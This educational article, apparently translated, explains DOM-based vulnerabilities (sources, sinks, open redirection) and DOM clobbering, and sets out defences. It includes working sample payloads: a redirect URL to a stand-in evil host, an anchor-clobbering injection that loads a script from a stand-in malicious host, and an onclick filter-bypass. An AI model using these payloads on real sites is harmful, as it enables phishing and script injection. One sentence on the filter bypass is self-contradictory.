DOM-based Vulnerabilities and DOM Clobbering: Sources, Sinks, and Mitigations
This article explains what the Document Object Model (DOM) is, describes how unsafe handling of DOM sources and sinks leads to vulnerabilities such as XSS, open redirection, and DOM clobbering, and provides practical mitigation techniques and defensive coding practices.
DOM-based vulnerabilities
In this section we describe what the DOM is, explain how unsafe handling of DOM data introduces vulnerabilities, and suggest how to prevent DOM‑based flaws on your site.
What is DOM
Document Object Model ( DOM) is the hierarchical representation of page elements that browsers expose. JavaScript can manipulate DOM nodes, objects, and their attributes. While DOM manipulation itself is essential, unsafe JavaScript handling of attacker‑controlled data can lead to attacks. When JavaScript receives a value from a controllable source and passes it to a dangerous function ( sink), a DOM‑based vulnerability arises.
Pollution‑flow vulnerabilities
Many DOM‑based vulnerabilities stem from client‑side code mishandling attacker‑controlled data.
What is pollution flow
To exploit or mitigate these flaws you must understand the basic concept of a pollution flow between a source and a sink.
A source is a JavaScript property that can accept attacker‑controlled data. An example is location.search, which reads input from the query string and is easily manipulable. Any property that an attacker can influence—such as document.referrer, document.cookie, or web messages—constitutes a potential source.
A sink is a JavaScript function or DOM object that becomes dangerous when fed attacker data. For instance, eval() executes its argument as code, and document.body.innerHTML can inject malicious HTML that runs arbitrary JavaScript.
When data flows from a source to a sink and the sink processes it insecurely in the client session, a DOM‑based vulnerability appears.
The most common source is the URL, accessed via the location object. An attacker can craft a link that places malicious payloads in the URL’s query or fragment parts. Consider the following code:
goto = location.hash.slice(1)
if(goto.startsWith('https:')) {
location = goto;
}This is a DOM‑based open‑redirect vulnerability because the location.hash source is handled unsafely. If the fragment begins with https, the script extracts the fragment value and assigns it to window.location. An attacker can use a URL such as:
https://www.innocent-website.com/example#https://www.evil-user.netWhen a victim visits that URL, the JavaScript sets location to www.evil-user.net, causing an automatic redirect to a malicious site, which is a common phishing technique.
Common source examples
Typical source properties used in pollution‑flow attacks include:
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
DatabaseAdditional sources are: Reflected data (反射数据) Stored data (存储数据)
Web messagesWhich sinks cause DOM‑based vulnerabilities
The table below gives a quick overview of common DOM‑based vulnerabilities and example sink functions.
DOM‑based vulnerability
sink example
DOM XSS
document.write()
Open redirection
window.location
Cookie manipulation
document.cookie
JavaScript injection
eval()
Document‑domain manipulation
document.domain
WebSocket‑URL poisoning
WebSocket()
Link manipulation
someElement.src
Web‑message manipulation
postMessage()
Ajax request‑header manipulation
setRequestHeader()
Local file‑path manipulation
FileReader.readAsText()
Client‑side SQL injection
ExecuteSql()
HTML5‑storage manipulation
sessionStorage.setItem()
Client‑side XPath injection
document.evaluate()
Client‑side JSON injection
JSON.parse()
DOM‑data manipulation
someElement.setAttribute()
Denial of service
RegExp()
How to prevent DOM‑based pollution‑flow vulnerabilities
There is no single action that eliminates all DOM threats, but the most effective strategy is to avoid passing data from untrusted source elements into any sink without proper validation.
If the required functionality makes this unavoidable, defensive measures must be applied in client code. Whitelisting known‑safe values, sanitizing or encoding data according to context (JavaScript escaping, HTML encoding, URL encoding) is essential.
For specific mitigations, refer to the linked pages for each vulnerability in the table above.
DOM clobbering
DOM clobbering is an advanced technique where an attacker injects HTML into a page to manipulate the DOM and ultimately alter JavaScript behavior. The most common form uses an anchor element to overwrite a global variable, which the application later uses insecurely (e.g., to build a dynamic script URL).
DOM clobbering
This section describes what DOM clobbering is, demonstrates how to exploit it, and proposes defensive measures.
What is DOM clobbering
DOM clobbering is a technique that injects HTML to manipulate the DOM and change JavaScript behavior. It is especially useful when XSS is blocked but an attacker can control whitelisted HTML attributes such as id or name. The typical pattern overwrites a global variable with an anchor element.
The term “clobbering” comes from the fact that you “clobber” (overwrite) a global variable or object property with a DOM node or HTML collection.
How to exploit DOM‑clobbering vulnerabilities
Some developers write code like the following:
var someObject = window.someObject || {};If an attacker can control HTML on the page, they can make someObject reference a DOM node (e.g., an anchor). Consider this script:
<script>
window.onload = function(){
let someObject = window.someObject || {};
let script = document.createElement('script');
script.src = someObject.url;
document.body.appendChild(script);
};
</script>By injecting the following HTML, the attacker forces someObject to reference an anchor element whose name attribute provides a malicious URL:
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>Because two elements share the same id, the DOM treats them as a collection, and the clobbering vector overwrites the original someObject reference. The name attribute on the second anchor supplies the url property, causing the script to load malicious code.
Another common method uses a form and input to clobber the attributes property, bypassing client‑side filters that iterate over element.attributes. Example injection:
<form onclick=alert(1)><input id=attributes>Click meWhen the filter encounters the input named attributes, it mistakenly treats it as the attribute list, causing the onclick handler to be ignored and executed.
How to defend against DOM‑clobbering attacks
In short, validate that objects or functions are of the expected type before using them. For instance, ensure a property is an instance of NamedNodeMap before treating it as attributes.
Avoid combining global variables with the logical OR operator ( ||) because this pattern can enable clobbering.
Summary of defensive steps:
Validate objects and functions before use; ensure they are not DOM nodes when filtering.
Avoid dangerous coding patterns such as using || with global variables.
Use well‑tested libraries like DOMPurify, which can mitigate DOM clobbering.
System Architect Go
Programming, architecture, application development, message queues, middleware, databases, containerization, big data, image processing, machine learning, AI, personal growth.
How this landed with the community
Was this worth your time?
0 Comments
Thoughtful readers leave field notes, pushback, and hard-won operational detail here.
